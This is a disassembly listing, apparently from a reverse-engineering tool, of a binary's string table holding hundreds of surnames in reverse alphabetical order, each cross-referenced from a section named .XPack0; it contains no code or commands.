aLipponen	db 'Lipponen',0         ; DATA XREF: .XPack0:00430BB4o
		align 4
aLippmann	db 'Lippmann',0         ; DATA XREF: .XPack0:00430BB0o
		align 10h
aLinzee		db 'Linzee',0           ; DATA XREF: .XPack0:00430BACo
		align 4
aLinehan	db 'Linehan',0          ; DATA XREF: .XPack0:00430BA8o
aLine		db 'Line',0             ; DATA XREF: .XPack0:00430BA4o
		align 4
aLinder		db 'Linder',0           ; DATA XREF: .XPack0:00430BA0o
		align 10h
aLinda		db 'Linda',0            ; DATA XREF: .XPack0:00430B9Co
		align 4
aLinares	db 'Linares',0          ; DATA XREF: .XPack0:00430B98o
aLim		db 'Lim',0              ; DATA XREF: .XPack0:00430B94o
aLightfoot	db 'Lightfoot',0        ; DATA XREF: .XPack0:00430B90o
		align 10h
aLight		db 'Light',0            ; DATA XREF: .XPack0:00430B8Co
		align 4
aLiem		db 'Liem',0             ; DATA XREF: .XPack0:00430B88o
		align 10h
aLidano		db 'Lidano',0           ; DATA XREF: .XPack0:00430B84o
		align 4
aLiakos		db 'Liakos',0           ; DATA XREF: .XPack0:00430B80o
		align 10h
aLessi		db 'Lessi',0            ; DATA XREF: .XPack0:00430B7Co
		align 4
aLesser		db 'Lesser',0           ; DATA XREF: .XPack0:00430B78o
		align 10h
aLEnclos	db 'l',27h,'Enclos',0   ; DATA XREF: .XPack0:00430B74o
		align 4
aLenard		db 'Lenard',0           ; DATA XREF: .XPack0:00430B70o
		align 4
aLeite		db 'Leite',0            ; DATA XREF: .XPack0:00430B6Co
		align 4
aLeclercq	db 'Leclercq',0         ; DATA XREF: .XPack0:00430B68o
		align 4
aLecce		db 'Lecce',0            ; DATA XREF: .XPack0:00430B64o
		align 10h
aLecar		db 'Lecar',0            ; DATA XREF: .XPack0:00430B60o
		align 4
aLawless	db 'Lawless',0          ; DATA XREF: .XPack0:00430B5Co
aLashley	db 'Lashley',0          ; DATA XREF: .XPack0:00430B58o
aLaserna	db 'Laserna',0          ; DATA XREF: .XPack0:00430B54o
aLanzit		db 'Lanzit',0           ; DATA XREF: .XPack0:00430B50o
		align 4
aLantieri	db 'Lantieri',0         ; DATA XREF: .XPack0:00430B4Co
		align 4
aLankes		db 'Lankes',0           ; DATA XREF: .XPack0:00430B48o
		align 4
aLandes		db 'Landes',0           ; DATA XREF: .XPack0:00430B44o
		align 4
aLallemant	db 'Lallemant',0        ; DATA XREF: .XPack0:00430B40o
		align 10h
aLaing		db 'Laing',0            ; DATA XREF: .XPack0:00430B3Co
		align 4
aLafler		db 'Lafler',0           ; DATA XREF: .XPack0:00430B38o
		align 10h
aLabunka	db 'Labunka',0          ; DATA XREF: .XPack0:00430B34o
aLa		db 'La',0               ; DATA XREF: .XPack0:00430B30o
		align 4
aKuwabara	db 'Kuwabara',0         ; DATA XREF: .XPack0:00430B2Co
		align 4
aKusman		db 'Kusman',0           ; DATA XREF: .XPack0:00430B28o
		align 10h
aKumar		db 'Kumar',0            ; DATA XREF: .XPack0:00430B24o
		align 4
aKuenzli	db 'Kuenzli',0          ; DATA XREF: .XPack0:00430B20o
aKrysiak	db 'Krysiak',0          ; DATA XREF: .XPack0:00430B1Co
aKroemer	db 'Kroemer',0          ; DATA XREF: .XPack0:00430B18o
aKraus		db 'Kraus',0            ; DATA XREF: .XPack0:00430B14o
		align 4
aKrasney	db 'Krasney',0          ; DATA XREF: .XPack0:00430B10o
aKrailo		db 'Krailo',0           ; DATA XREF: .XPack0:00430B0Co
		align 4
aKraemer	db 'Kraemer',0          ; DATA XREF: .XPack0:00430B08o
aKovaks		db 'Kovaks',0           ; DATA XREF: .XPack0:00430B04o
		align 4
aKotter		db 'Kotter',0           ; DATA XREF: .XPack0:00430B00o
		align 10h
aKorzybski	db 'Korzybski',0        ; DATA XREF: .XPack0:00430AFCo
		align 4
aKool		db 'Kool',0             ; DATA XREF: .XPack0:00430AF8o
		align 4
aKonrad		db 'Konrad',0           ; DATA XREF: .XPack0:00430AF4o
		align 4
aKoniaris	db 'Koniaris',0         ; DATA XREF: .XPack0:00430AF0o
		align 4
aKommer		db 'Kommer',0           ; DATA XREF: .XPack0:00430AECo
		align 10h
aKoivumaki	db 'Koivumaki',0        ; DATA XREF: .XPack0:00430AE8o
		align 4
aKohn		db 'Kohn',0             ; DATA XREF: .XPack0:00430AE4o
		align 4
aKoch		db 'Koch',0             ; DATA XREF: .XPack0:00430AE0o
		align 4
aKobrick	db 'Kobrick',0          ; DATA XREF: .XPack0:00430ADCo
aKnuff		db 'Knuff',0            ; DATA XREF: .XPack0:00430AD8o
		align 4
aKlint		db 'Klint',0            ; DATA XREF: .XPack0:00430AD4o
		align 4
aKlinkenborg	db 'Klinkenborg',0      ; DATA XREF: .XPack0:00430AD0o
aKling		db 'Kling',0            ; DATA XREF: .XPack0:00430ACCo
		align 4
aKlemperer	db 'Klemperer',0        ; DATA XREF: .XPack0:00430AC8o
		align 4
aKleinfelder	db 'Kleinfelder',0      ; DATA XREF: .XPack0:00430AC4o
aKleiman	db 'Kleiman',0          ; DATA XREF: .XPack0:00430AC0o
aKleckner	db 'Kleckner',0         ; DATA XREF: .XPack0:00430ABCo
		align 4
aKittridge	db 'Kittridge',0        ; DATA XREF: .XPack0:00430AB8o
		align 10h
aKirscht	db 'Kirscht',0          ; DATA XREF: .XPack0:00430AB4o
aKippenberger	db 'Kippenberger',0     ; DATA XREF: .XPack0:00430AB0o
		align 4
aKinsley	db 'Kinsley',0          ; DATA XREF: .XPack0:00430AACo
aKindall	db 'Kindall',0          ; DATA XREF: .XPack0:00430AA8o
aKimura		db 'Kimura',0           ; DATA XREF: .XPack0:00430AA4o
		align 10h
aKimmett	db 'Kimmett',0          ; DATA XREF: .XPack0:00430AA0o
aKimmel		db 'Kimmel',0           ; DATA XREF: .XPack0:00430A9Co
		align 10h
aKhong		db 'Khong',0            ; DATA XREF: .XPack0:00430A98o
		align 4
aKeul		db 'Keul',0             ; DATA XREF: .XPack0:00430A94o
		align 10h
aKerry		db 'Kerry',0            ; DATA XREF: .XPack0:00430A90o
		align 4
aKendall	db 'Kendall',0          ; DATA XREF: .XPack0:00430A8Co
aKemsley	db 'Kemsley',0          ; DATA XREF: .XPack0:00430A88o
aKempton	db 'Kempton',0          ; DATA XREF: .XPack0:00430A84o
aKelsey		db 'Kelsey',0           ; DATA XREF: .XPack0:00430A80o
		align 4
aKelker		db 'Kelker',0           ; DATA XREF: .XPack0:00430A7Co
		align 10h
aKeith		db 'Keith',0            ; DATA XREF: .XPack0:00430A78o
		align 4
aKeepper	db 'Keepper',0          ; DATA XREF: .XPack0:00430A74o
aKeenan		db 'Keenan',0           ; DATA XREF: .XPack0:00430A70o
		align 4
aKee		db 'Kee',0              ; DATA XREF: .XPack0:00430A6Co
aKawachi	db 'Kawachi',0          ; DATA XREF: .XPack0:00430A68o
aKasten		db 'Kasten',0           ; DATA XREF: .XPack0:00430A64o
		align 4
aKassower	db 'Kassower',0         ; DATA XREF: .XPack0:00430A60o
		align 4
aKarpouzes	db 'Karpouzes',0        ; DATA XREF: .XPack0:00430A5Co
		align 4
aKangis		db 'Kangis',0           ; DATA XREF: .XPack0:00430A58o
		align 4
aKamel		db 'Kamel',0            ; DATA XREF: .XPack0:00430A54o
		align 4
aKalman		db 'Kalman',0           ; DATA XREF: .XPack0:00430A50o
		align 4
aKalinowski	db 'Kalinowski',0       ; DATA XREF: .XPack0:00430A4Co
		align 4
aKalil		db 'Kalil',0            ; DATA XREF: .XPack0:00430A48o
		align 10h
aKaligian	db 'Kaligian',0         ; DATA XREF: .XPack0:00430A44o
		align 4
aKalbfleisch	db 'Kalbfleisch',0      ; DATA XREF: .XPack0:00430A40o
aKafadar	db 'Kafadar',0          ; DATA XREF: .XPack0:00430A3Co
aKaboolian	db 'Kaboolian',0        ; DATA XREF: .XPack0:00430A38o
		align 4
aKabbash	db 'Kabbash',0          ; DATA XREF: .XPack0:00430A34o
aJulious	db 'Julious',0          ; DATA XREF: .XPack0:00430A30o
aJuliano	db 'Juliano',0          ; DATA XREF: .XPack0:00430A2Co
aJucks		db 'Jucks',0            ; DATA XREF: .XPack0:00430A28o
		align 4
aJorgensen	db 'Jorgensen',0        ; DATA XREF: .XPack0:00430A24o
		align 4
aJolly		db 'Jolly',0            ; DATA XREF: .XPack0:00430A20o
		align 10h
aJohns		db 'Johns',0            ; DATA XREF: .XPack0:00430A1Co
		align 4
aJohannsen	db 'Johannsen',0        ; DATA XREF: .XPack0:00430A18o
		align 4
aJohannesson	db 'Johannesson',0      ; DATA XREF: .XPack0:00430A14o
aJewett		db 'Jewett',0           ; DATA XREF: .XPack0:00430A10o
		align 4
aJespersen	db 'Jespersen',0        ; DATA XREF: .XPack0:00430A0Co
		align 4
aJenkins	db 'Jenkins',0          ; DATA XREF: .XPack0:00430A08o
aJellis		db 'Jellis',0           ; DATA XREF: .XPack0:00430A04o
		align 4
aJeffers	db 'Jeffers',0          ; DATA XREF: .XPack0:00430A00o
aJay		db 'Jay',0              ; DATA XREF: .XPack0:004309FCo
aJarrell	db 'Jarrell',0          ; DATA XREF: .XPack0:004309F8o
aJarnagin	db 'Jarnagin',0         ; DATA XREF: .XPack0:004309F4o
		align 4
aJanjigian	db 'Janjigian',0        ; DATA XREF: .XPack0:004309F0o
		align 10h
aJamil		db 'Jamil',0            ; DATA XREF: .XPack0:004309ECo
		align 4
aJain		db 'Jain',0             ; DATA XREF: .XPack0:004309E8o
		align 10h
aJagoe		db 'Jagoe',0            ; DATA XREF: .XPack0:004309E4o
		align 4
aJagger		db 'Jagger',0           ; DATA XREF: .XPack0:004309E0o
		align 10h
aJagers		db 'Jagers',0           ; DATA XREF: .XPack0:004309DCo
		align 4
aJackson	db 'Jackson',0          ; DATA XREF: .XPack0:004309D8o
aJacenko	db 'Jacenko',0          ; DATA XREF: .XPack0:004309D4o
aIyer		db 'Iyer',0             ; DATA XREF: .XPack0:004309D0o
		align 10h
aIsserman	db 'Isserman',0         ; DATA XREF: .XPack0:004309CCo
		align 4
aIsbill		db 'Isbill',0           ; DATA XREF: .XPack0:004309C8o
		align 4
aIsaievych	db 'Isaievych',0        ; DATA XREF: .XPack0:004309C4o
		align 10h
aIsaac		db 'Isaac',0            ; DATA XREF: .XPack0:004309C0o
		align 4
aInniss		db 'Inniss',0           ; DATA XREF: .XPack0:004309BCo
		align 10h
aInamura	db 'Inamura',0          ; DATA XREF: .XPack0:004309B8o
aIgarashi	db 'Igarashi',0         ; DATA XREF: .XPack0:004309B4o
		align 4
aIchikawa	db 'Ichikawa',0         ; DATA XREF: .XPack0:004309B0o
		align 10h
aIaquinta	db 'Iaquinta',0         ; DATA XREF: .XPack0:004309ACo
		align 4
aHyde		db 'Hyde',0             ; DATA XREF: .XPack0:004309A8o
		align 4
aHutchings	db 'Hutchings',0        ; DATA XREF: .XPack0:004309A4o
		align 10h
aHurtubise	db 'Hurtubise',0        ; DATA XREF: .XPack0:004309A0o
		align 4
aHupp		db 'Hupp',0             ; DATA XREF: .XPack0:0043099Co
		align 4
aHuntington	db 'Huntington',0       ; DATA XREF: .XPack0:00430998o
		align 10h
aHungerford	db 'Hungerford',0       ; DATA XREF: .XPack0:00430994o
		align 4
aHuidekoper	db 'Huidekoper',0       ; DATA XREF: .XPack0:00430990o
		align 4
aHuey		db 'Huey',0             ; DATA XREF: .XPack0:0043098Co
		align 10h
aHoy		db 'Hoy',0              ; DATA XREF: .XPack0:00430988o
aHoward		db 'Howard',0           ; DATA XREF: .XPack0:00430984o
		align 4
aHottle		db 'Hottle',0           ; DATA XREF: .XPack0:00430980o
		align 4
aHostage	db 'Hostage',0          ; DATA XREF: .XPack0:0043097Co
aHoshida	db 'Hoshida',0          ; DATA XREF: .XPack0:00430978o
aHorsley	db 'Horsley',0          ; DATA XREF: .XPack0:00430974o
aHopkins	db 'Hopkins',0          ; DATA XREF: .XPack0:00430970o
aHooker		db 'Hooker',0           ; DATA XREF: .XPack0:0043096Co
		align 4
aHolzman	db 'Holzman',0          ; DATA XREF: .XPack0:00430968o
aHolway		db 'Holway',0           ; DATA XREF: .XPack0:00430964o
		align 4
aHolter		db 'Holter',0           ; DATA XREF: .XPack0:00430960o
		align 4
aHoloien	db 'Holoien',0          ; DATA XREF: .XPack0:0043095Co
aHolmes		db 'Holmes',0           ; DATA XREF: .XPack0:00430958o
		align 4
aHokoda		db 'Hokoda',0           ; DATA XREF: .XPack0:00430954o
		align 4
aHokanson	db 'Hokanson',0         ; DATA XREF: .XPack0:00430950o
		align 4
aHoffman	db 'Hoffman',0          ; DATA XREF: .XPack0:0043094Co
aHoffer		db 'Hoffer',0           ; DATA XREF: .XPack0:00430948o
		align 4
aHock		db 'Hock',0             ; DATA XREF: .XPack0:00430944o
		align 10h
aHoang		db 'Hoang',0            ; DATA XREF: .XPack0:00430940o
		align 4
aHitchcock	db 'Hitchcock',0        ; DATA XREF: .XPack0:0043093Co
		align 4
aHirst		db 'Hirst',0            ; DATA XREF: .XPack0:00430938o
		align 4
aHind		db 'Hind',0             ; DATA XREF: .XPack0:00430934o
		align 4
aHimmelfarb	db 'Himmelfarb',0       ; DATA XREF: .XPack0:00430930o
		align 10h
aHeyeck		db 'Heyeck',0           ; DATA XREF: .XPack0:0043092Co
		align 4
aHeubert	db 'Heubert',0          ; DATA XREF: .XPack0:00430928o
aHester		db 'Hester',0           ; DATA XREF: .XPack0:00430924o
		align 4
aHerrera	db 'Herrera',0          ; DATA XREF: .XPack0:00430920o
aHernandez	db 'Hernandez',0        ; DATA XREF: .XPack0:0043091Co
		align 4
aHenrichs	db 'Henrichs',0         ; DATA XREF: .XPack0:00430918o
		align 4
aHenery		db 'Henery',0           ; DATA XREF: .XPack0:00430914o
		align 10h
aHemphill	db 'Hemphill',0         ; DATA XREF: .XPack0:00430910o
		align 4
aHelprin	db 'Helprin',0          ; DATA XREF: .XPack0:0043090Co
aHellmiss	db 'Hellmiss',0         ; DATA XREF: .XPack0:00430908o
		align 10h
aHellman	db 'Hellman',0          ; DATA XREF: .XPack0:00430904o
aHeiland	db 'Heiland',0          ; DATA XREF: .XPack0:00430900o
aHeft		db 'Heft',0             ; DATA XREF: .XPack0:004308FCo
		align 4
aHeermans	db 'Heermans',0         ; DATA XREF: .XPack0:004308F8o
		align 4
aHazlewood	db 'Hazlewood',0        ; DATA XREF: .XPack0:004308F4o
		align 10h
aHaynes		db 'Haynes',0           ; DATA XREF: .XPack0:004308F0o
		align 4
aHayes		db 'Hayes',0            ; DATA XREF: .XPack0:004308ECo
		align 10h
aHawkes		db 'Hawkes',0           ; DATA XREF: .XPack0:004308E8o
		align 4
aHaviaras	db 'Haviaras',0         ; DATA XREF: .XPack0:004308E4o
		align 4
aHarwell	db 'Harwell',0          ; DATA XREF: .XPack0:004308E0o
aHartnett	db 'Hartnett',0         ; DATA XREF: .XPack0:004308DCo
		align 4
aHartmann	db 'Hartmann',0         ; DATA XREF: .XPack0:004308D8o
		align 4
aHartman	db 'Hartman',0          ; DATA XREF: .XPack0:004308D4o
aHarrigan	db 'Harrigan',0         ; DATA XREF: .XPack0:004308D0o
		align 4
aHarlow		db 'Harlow',0           ; DATA XREF: .XPack0:004308CCo
		align 10h
aHargraves	db 'Hargraves',0        ; DATA XREF: .XPack0:004308C8o
		align 4
aHarding	db 'Harding',0          ; DATA XREF: .XPack0:004308C4o
aHanssen	db 'Hanssen',0          ; DATA XREF: .XPack0:004308C0o
aHand		db 'Hand',0             ; DATA XREF: .XPack0:004308BCo
		align 4
aHammerness	db 'Hammerness',0       ; DATA XREF: .XPack0:004308B8o
		align 10h
aHamer		db 'Hamer',0            ; DATA XREF: .XPack0:004308B4o
		align 4
aHambarzumjan	db 'Hambarzumjan',0     ; DATA XREF: .XPack0:004308B0o
		align 4
aHalpert	db 'Halpert',0          ; DATA XREF: .XPack0:004308ACo
aHallowell	db 'Hallowell',0        ; DATA XREF: .XPack0:004308A8o
		align 4
aHalkias	db 'Halkias',0          ; DATA XREF: .XPack0:004308A4o
aHaley		db 'Haley',0            ; DATA XREF: .XPack0:004308A0o
		align 4
aHackshaw	db 'Hackshaw',0         ; DATA XREF: .XPack0:0043089Co
		align 4
aHackman	db 'Hackman',0          ; DATA XREF: .XPack0:00430898o
aHaar		db 'Haar',0             ; DATA XREF: .XPack0:00430894o
		align 4
aHa		db 'Ha',0               ; DATA XREF: .XPack0:00430890o
		align 4
aGuo		db 'Guo',0              ; DATA XREF: .XPack0:0043088Co
aGunn		db 'Gunn',0             ; DATA XREF: .XPack0:00430888o
		align 4
aGuenthart	db 'Guenthart',0        ; DATA XREF: .XPack0:00430884o
		align 4
aGruppe		db 'Gruppe',0           ; DATA XREF: .XPack0:00430880o
		align 4
aGruner		db 'Gruner',0           ; DATA XREF: .XPack0:0043087Co
		align 4
aGrummell	db 'Grummell',0         ; DATA XREF: .XPack0:00430878o
		align 10h
aGrigoletto	db 'Grigoletto',0       ; DATA XREF: .XPack0:00430874o
		align 4
aGriffiths	db 'Griffiths',0        ; DATA XREF: .XPack0:00430870o
		align 4
aGreenfeld	db 'Greenfeld',0        ; DATA XREF: .XPack0:0043086Co
		align 4
aGreenberg	db 'Greenberg',0        ; DATA XREF: .XPack0:00430868o
		align 10h
aGravell	db 'Gravell',0          ; DATA XREF: .XPack0:00430864o
aGozzi		db 'Gozzi',0            ; DATA XREF: .XPack0:00430860o
		align 10h
aGoody		db 'Goody',0            ; DATA XREF: .XPack0:0043085Co
		align 4
aGoodearl	db 'Goodearl',0         ; DATA XREF: .XPack0:00430858o
		align 4
aGood		db 'Good',0             ; DATA XREF: .XPack0:00430854o
		align 4
aGoncalves	db 'Goncalves',0        ; DATA XREF: .XPack0:00430850o
		align 4
aGoldfarb	db 'Goldfarb',0         ; DATA XREF: .XPack0:0043084Co
		align 4
aGlendon	db 'Glendon',0          ; DATA XREF: .XPack0:00430848o
aGlegg		db 'Glegg',0            ; DATA XREF: .XPack0:00430844o
		align 4
aGleason	db 'Gleason',0          ; DATA XREF: .XPack0:00430840o
aGist		db 'Gist',0             ; DATA XREF: .XPack0:0043083Co
		align 4
aGillispie	db 'Gillispie',0        ; DATA XREF: .XPack0:00430838o
		align 10h
aGill		db 'Gill',0             ; DATA XREF: .XPack0:00430834o
		align 4
aGili		db 'Gili',0             ; DATA XREF: .XPack0:00430830o
		align 10h
aGilbert	db 'Gilbert',0          ; DATA XREF: .XPack0:0043082Co
aGibson		db 'Gibson',0           ; DATA XREF: .XPack0:00430828o
		align 10h
aGibbens	db 'Gibbens',0          ; DATA XREF: .XPack0:00430824o
aGhorai		db 'Ghorai',0           ; DATA XREF: .XPack0:00430820o
		align 10h
aGerrett	db 'Gerrett',0          ; DATA XREF: .XPack0:0043081Co
aGeorgi		db 'Georgi',0           ; DATA XREF: .XPack0:00430818o
		align 10h
aGemberling	db 'Gemberling',0       ; DATA XREF: .XPack0:00430814o
		align 4
aGeller		db 'Geller',0           ; DATA XREF: .XPack0:00430810o
		align 4
aGaronna	db 'Garonna',0          ; DATA XREF: .XPack0:0043080Co
aGarman		db 'Garman',0           ; DATA XREF: .XPack0:00430808o
		align 4
aGarfield	db 'Garfield',0         ; DATA XREF: .XPack0:00430804o
		align 10h
aGambini	db 'Gambini',0          ; DATA XREF: .XPack0:00430800o
aGalwey		db 'Galwey',0           ; DATA XREF: .XPack0:004307FCo
		align 10h
aGaleotti	db 'Galeotti',0         ; DATA XREF: .XPack0:004307F8o
		align 4
aGaggiotti	db 'Gaggiotti',0        ; DATA XREF: .XPack0:004307F4o
		align 4
aGabrielli	db 'Gabrielli',0        ; DATA XREF: .XPack0:004307F0o
		align 4
aFusaro		db 'Fusaro',0           ; DATA XREF: .XPack0:004307ECo
		align 4
aFurth		db 'Furth',0            ; DATA XREF: .XPack0:004307E8o
		align 4
aFuller		db 'Fuller',0           ; DATA XREF: .XPack0:004307E4o
		align 4
aFujiiAbe	db 'Fujii-Abe',0        ; DATA XREF: .XPack0:004307E0o
		align 4
aFrye		db 'Frye',0             ; DATA XREF: .XPack0:004307DCo
		align 10h
aFryberger	db 'Fryberger',0        ; DATA XREF: .XPack0:004307D8o
		align 4
aFrowiss	db 'Frowiss',0          ; DATA XREF: .XPack0:004307D4o
aFrisken	db 'Frisken',0          ; DATA XREF: .XPack0:004307D0o
aFriedland	db 'Friedland',0        ; DATA XREF: .XPack0:004307CCo
		align 4
aFried		db 'Fried',0            ; DATA XREF: .XPack0:004307C8o
		align 10h
aFreundlich	db 'Freundlich',0       ; DATA XREF: .XPack0:004307C4o
		align 4
aFreid		db 'Freid',0            ; DATA XREF: .XPack0:004307C0o
		align 4
aFrazierDavis	db 'Frazier-Davis',0    ; DATA XREF: .XPack0:004307BCo
		align 4
aFranz		db 'Franz',0            ; DATA XREF: .XPack0:004307B8o
		align 4
aFranklinKenea	db 'Franklin-Kenea',0   ; DATA XREF: .XPack0:004307B4o
		align 4
aFrancisco	db 'Francisco',0        ; DATA XREF: .XPack0:004307B0o
		align 4
aFossi		db 'Fossi',0            ; DATA XREF: .XPack0:004307ACo
		align 10h
aFossey		db 'Fossey',0           ; DATA XREF: .XPack0:004307A8o
		align 4
aFortier	db 'Fortier',0          ; DATA XREF: .XPack0:004307A4o
aFortes		db 'Fortes',0           ; DATA XREF: .XPack0:004307A0o
		align 4
aForester	db 'Forester',0         ; DATA XREF: .XPack0:0043079Co
		align 4
aFolks		db 'Folks',0            ; DATA XREF: .XPack0:00430798o
		align 4
aFlores		db 'Flores',0           ; DATA XREF: .XPack0:00430794o
		align 4
aFlier		db 'Flier',0            ; DATA XREF: .XPack0:00430790o
		align 4
aFitzmaurice	db 'Fitzmaurice',0      ; DATA XREF: .XPack0:0043078Co
aFisk		db 'Fisk',0             ; DATA XREF: .XPack0:00430788o
		align 10h
aFiorina	db 'Fiorina',0          ; DATA XREF: .XPack0:00430784o
aFinnegan	db 'Finnegan',0         ; DATA XREF: .XPack0:00430780o
		align 4
aFinkelstein	db 'Finkelstein',0      ; DATA XREF: .XPack0:0043077Co
aFink		db 'Fink',0             ; DATA XREF: .XPack0:00430778o
		align 4
aField		db 'Field',0            ; DATA XREF: .XPack0:00430774o
		align 10h
aFido		db 'Fido',0             ; DATA XREF: .XPack0:00430770o
		align 4
aFeuer		db 'Feuer',0            ; DATA XREF: .XPack0:0043076Co
		align 10h
aFerriell	db 'Ferriell',0         ; DATA XREF: .XPack0:00430768o
		align 4
aFerrante	db 'Ferrante',0         ; DATA XREF: .XPack0:00430764o
		align 4
aFernandes	db 'Fernandes',0        ; DATA XREF: .XPack0:00430760o
		align 4
aFernald	db 'Fernald',0          ; DATA XREF: .XPack0:0043075Co
aFeldman	db 'Feldman',0          ; DATA XREF: .XPack0:00430758o
aFejzo		db 'Fejzo',0            ; DATA XREF: .XPack0:00430754o
		align 4
aFeigenbaum	db 'Feigenbaum',0       ; DATA XREF: .XPack0:00430750o
		align 4
aFates		db 'Fates',0            ; DATA XREF: .XPack0:0043074Co
		align 10h
aFasso		db 'Fasso',27h,0        ; DATA XREF: .XPack0:00430748o
		align 4
aFarren		db 'Farren',0           ; DATA XREF: .XPack0:00430744o
		align 10h
aFarone		db 'Farone',0           ; DATA XREF: .XPack0:00430740o
		align 4
aFaris		db 'Faris',0            ; DATA XREF: .XPack0:0043073Co
		align 10h
aFalorsi	db 'Falorsi',0          ; DATA XREF: .XPack0:00430738o
aFalcoAcosta	db 'Falco-Acosta',0     ; DATA XREF: .XPack0:00430734o
		align 4
aFaioes		db 'Faioes',0           ; DATA XREF: .XPack0:00430730o
		align 10h
aFagan		db 'Fagan',0            ; DATA XREF: .XPack0:0043072Co
		align 4
aFabbris	db 'Fabbris',0          ; DATA XREF: .XPack0:00430728o
aEverett	db 'Everett',0          ; DATA XREF: .XPack0:00430724o
aEuripides	db 'Euripides',0        ; DATA XREF: .XPack0:00430720o
		align 4
aEtter		db 'Etter',0            ; DATA XREF: .XPack0:0043071Co
		align 4
aEstes		db 'Estes',0            ; DATA XREF: .XPack0:00430718o
		align 4
aEspinoza	db 'Espinoza',0         ; DATA XREF: .XPack0:00430714o
		align 10h
aErez		db 'Erez',0             ; DATA XREF: .XPack0:00430710o
		align 4
aErdos		db 'Erdos',0            ; DATA XREF: .XPack0:0043070Co
		align 10h
aErdman		db 'Erdman',0           ; DATA XREF: .XPack0:00430708o
		align 4
aErbach		db 'Erbach',0           ; DATA XREF: .XPack0:00430704o
		align 10h
aEppling	db 'Eppling',0          ; DATA XREF: .XPack0:00430700o
aEnyeart	db 'Enyeart',0          ; DATA XREF: .XPack0:004306FCo
aEncinas	db 'Encinas',0          ; DATA XREF: .XPack0:004306F8o
aElvis		db 'Elvis',0            ; DATA XREF: .XPack0:004306F4o
		align 10h
aElmerick	db 'Elmerick',0         ; DATA XREF: .XPack0:004306F0o
		align 4
aElmendorf	db 'Elmendorf',0        ; DATA XREF: .XPack0:004306ECo
		align 4
aEliasson	db 'Eliasson',0         ; DATA XREF: .XPack0:004306E8o
		align 4
aEickenhorst	db 'Eickenhorst',0      ; DATA XREF: .XPack0:004306E4o
aEdward		db 'Edward',0           ; DATA XREF: .XPack0:004306E0o
		align 4
aEdner		db 'Edner',0            ; DATA XREF: .XPack0:004306DCo
		align 10h
aEdley		db 'Edley',0            ; DATA XREF: .XPack0:004306D8o
		align 4
aEckel		db 'Eckel',0            ; DATA XREF: .XPack0:004306D4o
		align 10h
aEbeling	db 'Ebeling',0          ; DATA XREF: .XPack0:004306D0o
aEardley	db 'Eardley',0          ; DATA XREF: .XPack0:004306CCo
aDwyer		db 'Dwyer',0            ; DATA XREF: .XPack0:004306C8o
		align 4
aDussault	db 'Dussault',0         ; DATA XREF: .XPack0:004306C4o
		align 4
aDurrett	db 'Durrett',0          ; DATA XREF: .XPack0:004306C0o
aDuffin		db 'Duffin',0           ; DATA XREF: .XPack0:004306BCo
		align 4
aDSouza		db 'D',27h,'souza',0    ; DATA XREF: .XPack0:004306B8o
aDrinker	db 'Drinker',0          ; DATA XREF: .XPack0:004306B4o
aDowsland	db 'Dowsland',0         ; DATA XREF: .XPack0:004306B0o
		align 10h
aDoug		db 'Doug',0             ; DATA XREF: .XPack0:004306ACo
		align 4
aDoty		db 'Doty',0             ; DATA XREF: .XPack0:004306A8o
		align 10h
aDosi		db 'Dosi',0             ; DATA XREF: .XPack0:004306A4o
		align 4
aDorf		db 'Dorf',0             ; DATA XREF: .XPack0:004306A0o
		align 10h
aDore		db 'Dore',0             ; DATA XREF: .XPack0:0043069Co
		align 4
aDoonan		db 'Doonan',0           ; DATA XREF: .XPack0:00430698o
		align 10h
aDonner		db 'Donner',0           ; DATA XREF: .XPack0:00430694o
		align 4
aDonahue	db 'Donahue',0          ; DATA XREF: .XPack0:00430690o
aDoherty	db 'Doherty',0          ; DATA XREF: .XPack0:0043068Co
aDockery	db 'Dockery',0          ; DATA XREF: .XPack0:00430688o
aDirksen	db 'Dirksen',0          ; DATA XREF: .XPack0:00430684o
aDionysius	db 'Dionysius',0        ; DATA XREF: .XPack0:00430680o
		align 4
aDilworth	db 'Dilworth',0         ; DATA XREF: .XPack0:0043067Co
		align 10h
aDifronzo	db 'Difronzo',0         ; DATA XREF: .XPack0:00430678o
		align 4
aDifabio	db 'Difabio',0          ; DATA XREF: .XPack0:00430674o
aDiefenbach	db 'Diefenbach',0       ; DATA XREF: .XPack0:00430670o
		align 10h
aDicks		db 'Dicks',0            ; DATA XREF: .XPack0:0043066Co
		align 4
aDFini		db 'D',27h,'fini',0     ; DATA XREF: .XPack0:00430668o
		align 10h
aDeutsch	db 'Deutsch',0          ; DATA XREF: .XPack0:00430664o
aDesombre	db 'Desombre',0         ; DATA XREF: .XPack0:00430660o
		align 4
aDenison	db 'Denison',0          ; DATA XREF: .XPack0:0043065Co
aDenham		db 'Denham',0           ; DATA XREF: .XPack0:00430658o
		align 4
aDenault	db 'Denault',0          ; DATA XREF: .XPack0:00430654o
aDemusz		db 'Demusz',0           ; DATA XREF: .XPack0:00430650o
		align 4
aDempster	db 'Dempster',0         ; DATA XREF: .XPack0:0043064Co
		align 10h
aDeming		db 'Deming',0           ; DATA XREF: .XPack0:00430648o
		align 4
aDellAcqua	db 'Dell',27h,'acqua',0 ; DATA XREF: .XPack0:00430644o
		align 4
aDelger		db 'Delger',0           ; DATA XREF: .XPack0:00430640o
		align 4
aDeleonRendon	db 'Deleon-Rendon',0    ; DATA XREF: .XPack0:0043063Co
		align 4
aDelattre	db 'Delattre',0         ; DATA XREF: .XPack0:00430638o
		align 4
aDefeciani	db 'Defeciani',0        ; DATA XREF: .XPack0:00430634o
		align 4
aDees		db 'Dees',0             ; DATA XREF: .XPack0:00430630o
		align 4
aDebroff	db 'Debroff',0          ; DATA XREF: .XPack0:0043062Co
aDerousse	db 'deRousse',0         ; DATA XREF: .XPack0:00430628o
		align 10h
aDelEnclos	db 'del',27h,'Enclos',0 ; DATA XREF: .XPack0:00430624o
		align 4
aDelapena	db 'DeLaPena',0         ; DATA XREF: .XPack0:00430620o
		align 4
aDegennaro	db 'DeGennaro',0        ; DATA XREF: .XPack0:0043061Co
		align 4
aDawkins	db 'Dawkins',0          ; DATA XREF: .XPack0:00430618o
aDavid		db 'David',0            ; DATA XREF: .XPack0:00430614o
		align 4
aDaskalu	db 'Daskalu',0          ; DATA XREF: .XPack0:00430610o
aDasgupta	db 'Dasgupta',0         ; DATA XREF: .XPack0:0043060Co
		align 4
aDas		db 'Das',0              ; DATA XREF: .XPack0:00430608o
aDArcangelo	db 'D',27h,'arcangelo',0 ; DATA XREF: .XPack0:00430604o
aDapice		db 'Dapice',0           ; DATA XREF: .XPack0:00430600o
		align 10h
aDante		db 'Dante',0            ; DATA XREF: .XPack0:004305FCo
		align 4
